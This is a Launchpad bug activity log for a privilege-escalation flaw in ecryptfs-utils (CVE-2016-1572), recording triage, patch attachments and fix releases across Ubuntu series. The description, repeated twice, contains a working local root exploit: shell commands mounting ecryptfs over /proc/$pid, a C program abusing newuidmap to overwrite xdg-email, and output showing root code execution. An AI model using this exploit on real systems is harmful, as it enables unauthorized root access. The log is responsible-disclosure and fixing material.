Activity log for bug #1530566

Date Who What changed Old value New value Message
2016-01-02 19:17:08 Jann Horn bug added bug
2016-01-02 19:17:21 Jann Horn information type Private Security Private
2016-01-02 19:17:30 Jann Horn information type Private Private Security
2016-01-05 00:21:47 Tyler Hicks ecryptfs: importance Undecided High
2016-01-06 00:31:54 Tyler Hicks description An unprivileged user can mount an ecryptfs over /proc/$pid because according to stat(), it is a normal directory and owned by the user. However, the user is not actually permitted to create arbitrary directory entries in /proc/$pid, and ecryptfs' behavior might be enabling privilege escalation attacks with the help of other programs that use procfs. Repro: On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap. Then, as user, do this: ============================================================================== user2@user-VirtualBox:~$ ecryptfs-setup-private Enter your login passphrase [user2]: Enter your mount passphrase [leave blank to generate one]: Enter your mount passphrase (again): ************************************************************************ YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION. ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME. ************************************************************************ Done configuring. Testing mount/write/umount/read... Inserted auth tok with sig [85448916757c54dd] into the user session keyring Inserted auth tok with sig [6105ef336170239a] into the user session keyring Inserted auth tok with sig [85448916757c54dd] into the user session keyring Inserted auth tok with sig [6105ef336170239a] into the user session keyring Testing succeeded. Logout, and log back in to begin using your encrypted directory. user2@user-VirtualBox:~$ echo $$ 8871 user2@user-VirtualBox:~$ echo '/home/user2/.Private /proc/8871 ecryptfs none 0 0' > .ecryptfs/evil.conf user2@user-VirtualBox:~$ cp .ecryptfs/Private.sig .ecryptfs/evil.sig user2@user-VirtualBox:~$ sed 's|/sbin/mount\.ecryptfs_private|\0 evil|' < /usr/bin/ecryptfs-mount-private > /tmp/foo user2@user-VirtualBox:~$ chmod +x /tmp/foo user2@user-VirtualBox:~$ /tmp/foo Enter your login passphrase: Inserted auth tok with sig [85448916757c54dd] into the user session keyring user2@user-VirtualBox:~$ ln -s /etc/hostname /proc/8871/uid_map user2@user-VirtualBox:~$ newuidmap 8871 0 1001 1 user2@user-VirtualBox:~$ cat /etc/hostname 0 1001 1 ualBox ============================================================================== As you can see, the start of /etc/hostname was clobbered with attacker-controlled content. Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above): $ grep -bo '/tmp/.*' /usr/bin/xdg-email 4721:/tmp/logo.png \ We need 4721 bytes padding. "0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long. $ rm /proc/8871/uid_map # if it still exists from the last part $ ln -s /usr/bin/xdg-email /proc/2468/uid_map $ cat attack.c #include <err.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv_in) { if (argc != 3) errx(1, "bad invocation, want ./attack <pid> <myuid>"); char *pid = argv_in[1]; char *myuid = argv_in[2]; if (strlen(myuid) != 4) errx(1, "bad uid"); int pad10_count = 464; int pad9_count = 9; int total_count = pad10_count + pad9_count; char *argv[1 + 1 + 3 * total_count + 1]; argv[0] = "newuidmap"; argv[1] = pid; int j = 2; for (int i=0; i<pad10_count; i++) { argv[j++] = "10"; argv[j++] = "1001"; argv[j++] = "1"; } for (int i=0; i<pad9_count; i++) { argv[j++] = "1"; argv[j++] = "1001"; argv[j++] = "1"; } argv[j++] = NULL; execvp("newuidmap", argv); err(1, "execvp"); } $ gcc -o attack attack.c -Wall -std=gnu99 $ ./attack 8871 1001 $ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png $ chmod +x /tmp/logo.png And now as another user (or root): lBox:/etc# xdg-email /usr/bin/xdg-email: line 1: 10: command not found /usr/bin/xdg-email: line 2: 10: command not found [...] /usr/bin/xdg-email: line 472: 1: command not found /usr/bin/xdg-email: line 473: 1: command not found owned! uid=0(root) gid=0(root) groups=0(root) Killed Of course, this kind of modification doesn't work for most executables, but it does work for some. Another way to exploit this without newuidmap might be to confuse polkit about the identity of a connecting process - _polkit_unix_process_get_owner() contains code to determine the ruid of a process by reading its /proc/$pid/status file. I didn't investigate that much though, so I'm not sure whether that codepath is actually used anywhere. I'm not sure about what a proper fix for this would look like - maybe just blacklist the dev_t of procfs when checking the result of stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK) to be successful? Or you could do what FUSE does and prevent anyone except for the user from accessing the mountpoint. An unprivileged user can mount an ecryptfs over /proc/$pid because according to stat(), it is a normal directory and owned by the user. However, the user is not actually permitted to create arbitrary directory entries in /proc/$pid, and ecryptfs' behavior might be enabling privilege escalation attacks with the help of other programs that use procfs. Repro: On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap. Then, as user, do this: ============================================================================== user2@user-VirtualBox:~$ ecryptfs-setup-private Enter your login passphrase [user2]: Enter your mount passphrase [leave blank to generate one]: Enter your mount passphrase (again): ************************************************************************ YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION.   ecryptfs-unwrap-passphrase ~/.ecryptfs/wrapped-passphrase THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME. ************************************************************************ Done configuring. Testing mount/write/umount/read... Inserted auth tok with sig [85448916757c54dd] into the user session keyring Inserted auth tok with sig [6105ef336170239a] into the user session keyring Inserted auth tok with sig [85448916757c54dd] into the user session keyring Inserted auth tok with sig [6105ef336170239a] into the user session keyring Testing succeeded. Logout, and log back in to begin using your encrypted directory. user2@user-VirtualBox:~$ echo "/home/user2/.Private /proc/$$ ecryptfs none 0 0" > .ecryptfs/evil.conf user2@user-VirtualBox:~$ cp .ecryptfs/Private.sig .ecryptfs/evil.sig user2@user-VirtualBox:~$ sed 's|/sbin/mount\.ecryptfs_private|\0 evil|' < /usr/bin/ecryptfs-mount-private > /tmp/foo user2@user-VirtualBox:~$ chmod +x /tmp/foo user2@user-VirtualBox:~$ /tmp/foo Enter your login passphrase: Inserted auth tok with sig [85448916757c54dd] into the user session keyring user2@user-VirtualBox:~$ ln -s /etc/hostname /proc/$$/uid_map user2@user-VirtualBox:~$ newuidmap $$ 0 1001 1 user2@user-VirtualBox:~$ cat /etc/hostname 0 1001 1 ualBox ============================================================================== As you can see, the start of /etc/hostname was clobbered with attacker-controlled content. Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above): $ grep -bo '/tmp/.*' /usr/bin/xdg-email 4721:/tmp/logo.png \ We need 4721 bytes padding. "0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long. $ rm /proc/$$/uid_map # if it still exists from the last part $ ln -s /usr/bin/xdg-email /proc/2468/uid_map $ cat attack.c #include <err.h> #include <unistd.h> #include <string.h> int main(int argc, char **argv_in) {   if (argc != 3)     errx(1, "bad invocation, want ./attack <pid> <myuid>");   char *pid = argv_in[1];   char *myuid = argv_in[2];   if (strlen(myuid) != 4)     errx(1, "bad uid");   int pad10_count = 464;   int pad9_count = 9;   int total_count = pad10_count + pad9_count;   char *argv[1 + 1 + 3 * total_count + 1];   argv[0] = "newuidmap";   argv[1] = pid;   int j = 2;   for (int i=0; i<pad10_count; i++) {     argv[j++] = "10";     argv[j++] = "1001";     argv[j++] = "1";   }   for (int i=0; i<pad9_count; i++) {     argv[j++] = "1";     argv[j++] = "1001";     argv[j++] = "1";   }   argv[j++] = NULL;   execvp("newuidmap", argv);   err(1, "execvp"); } $ gcc -o attack attack.c -Wall -std=gnu99 $ ./attack $$ 1001 $ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png $ chmod +x /tmp/logo.png And now as another user (or root): lBox:/etc# xdg-email /usr/bin/xdg-email: line 1: 10: command not found /usr/bin/xdg-email: line 2: 10: command not found [...] /usr/bin/xdg-email: line 472: 1: command not found /usr/bin/xdg-email: line 473: 1: command not found owned! uid=0(root) gid=0(root) groups=0(root) Killed Of course, this kind of modification doesn't work for most executables, but it does work for some. Another way to exploit this without newuidmap might be to confuse polkit about the identity of a connecting process - _polkit_unix_process_get_owner() contains code to determine the ruid of a process by reading its /proc/$pid/status file. I didn't investigate that much though, so I'm not sure whether that codepath is actually used anywhere. I'm not sure about what a proper fix for this would look like - maybe just blacklist the dev_t of procfs when checking the result of stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK) to be successful? Or you could do what FUSE does and prevent anyone except for the user from accessing the mountpoint.
2016-01-07 17:50:48 Tyler Hicks attachment added check-private-mount-dest-filesystem-types.patch https://bugs.launchpad.net/ecryptfs/+bug/1530566/+attachment/4545803/+files/check-private-mount-dest-filesystem-types.patch
2016-01-08 01:30:56 Tyler Hicks attachment added check-private-mount-dest-fs-type-against-whitelist.patch https://bugs.launchpad.net/ecryptfs/+bug/1530566/+attachment/4545978/+files/check-private-mount-dest-fs-type-against-whitelist.patch
2016-01-08 01:41:49 Tyler Hicks attachment removed check-private-mount-dest-filesystem-types.patch https://bugs.launchpad.net/ecryptfs/+bug/1530566/+attachment/4545803/+files/check-private-mount-dest-filesystem-types.patch
2016-01-08 01:45:31 Tyler Hicks attachment removed check-private-mount-dest-fs-type-against-whitelist.patch https://bugs.launchpad.net/ecryptfs/+bug/1530566/+attachment/4545978/+files/check-private-mount-dest-fs-type-against-whitelist.patch
2016-01-08 01:45:42 Tyler Hicks attachment added private-mount-dest-fs-type-whitelist.patch https://bugs.launchpad.net/ecryptfs/+bug/1530566/+attachment/4545979/+files/private-mount-dest-fs-type-whitelist.patch
2016-01-11 16:48:37 Tyler Hicks bug task added ecryptfs-utils (Ubuntu)
2016-01-11 16:48:52 Tyler Hicks nominated for series Ubuntu Vivid
2016-01-11 16:48:52 Tyler Hicks bug task added ecryptfs-utils (Ubuntu Vivid)
2016-01-11 16:48:52 Tyler Hicks nominated for series Ubuntu Trusty
2016-01-11 16:48:52 Tyler Hicks bug task added ecryptfs-utils (Ubuntu Trusty)
2016-01-11 16:48:52 Tyler Hicks nominated for series Ubuntu Xenial
2016-01-11 16:48:52 Tyler Hicks bug task added ecryptfs-utils (Ubuntu Xenial)
2016-01-11 16:48:52 Tyler Hicks nominated for series Ubuntu Precise
2016-01-11 16:48:52 Tyler Hicks bug task added ecryptfs-utils (Ubuntu Precise)
2016-01-11 16:48:52 Tyler Hicks nominated for series Ubuntu Wily
2016-01-11 16:48:52 Tyler Hicks bug task added ecryptfs-utils (Ubuntu Wily)
2016-01-12 12:16:39 Marc Deslauriers cve linked 2016-1572
2016-01-17 15:36:24 Tyler Hicks bug added subscriber Salvatore Bonaccorso
2016-01-19 15:12:52 Tyler Hicks bug added subscriber Johannes
2016-01-20 15:03:09 Launchpad Janitor branch linked lp:ecryptfs
2016-01-20 15:04:26 Tyler Hicks information type Private Security Public Security
2016-01-20 16:24:57 Ubuntu Foundations Team Bug Bot tags patch
2016-01-20 16:25:04 Ubuntu Foundations Team Bug Bot bug added subscriber Ubuntu Security Sponsors Team
2016-01-21 01:09:20 Mathew Hodson ecryptfs-utils (Ubuntu Precise): importance Undecided High
2016-01-21 01:09:22 Mathew Hodson ecryptfs-utils (Ubuntu Trusty): importance Undecided High
2016-01-21 01:09:24 Mathew Hodson ecryptfs-utils (Ubuntu Vivid): importance Undecided High
2016-01-21 01:09:26 Mathew Hodson ecryptfs-utils (Ubuntu Wily): importance Undecided High
2016-01-21 01:09:28 Mathew Hodson ecryptfs-utils (Ubuntu Xenial): importance Undecided High
2016-01-21 01:21:26 Tyler Hicks ecryptfs-utils (Ubuntu Precise): status New Fix Released
2016-01-21 01:21:29 Tyler Hicks ecryptfs-utils (Ubuntu Trusty): status New Fix Released
2016-01-21 01:21:31 Tyler Hicks ecryptfs-utils (Ubuntu Vivid): status New Fix Released
2016-01-21 01:21:33 Tyler Hicks ecryptfs-utils (Ubuntu Wily): status New Fix Released
2016-01-21 01:21:43 Tyler Hicks ecryptfs-utils (Ubuntu Xenial): status New Triaged
2016-01-21 01:21:51 Tyler Hicks ecryptfs-utils (Ubuntu Xenial): assignee Dustin Kirkland  (kirkland)
2016-01-21 01:21:53 Tyler Hicks ecryptfs-utils (Ubuntu Wily): assignee Tyler Hicks (tyhicks)
2016-01-21 01:21:55 Tyler Hicks ecryptfs-utils (Ubuntu Vivid): assignee Tyler Hicks (tyhicks)
2016-01-21 01:21:57 Tyler Hicks ecryptfs-utils (Ubuntu Trusty): assignee Tyler Hicks (tyhicks)
2016-01-21 01:21:58 Tyler Hicks ecryptfs-utils (Ubuntu Precise): assignee Tyler Hicks (tyhicks)
2016-01-21 01:22:01 Tyler Hicks ecryptfs: assignee Tyler Hicks (tyhicks)
2016-01-21 01:22:07 Tyler Hicks ecryptfs: status New Fix Committed
2016-01-22 18:09:50 Marc Deslauriers removed subscriber Ubuntu Security Sponsors Team
2016-01-22 18:30:21 Launchpad Janitor ecryptfs-utils (Ubuntu Xenial): status Triaged Fix Released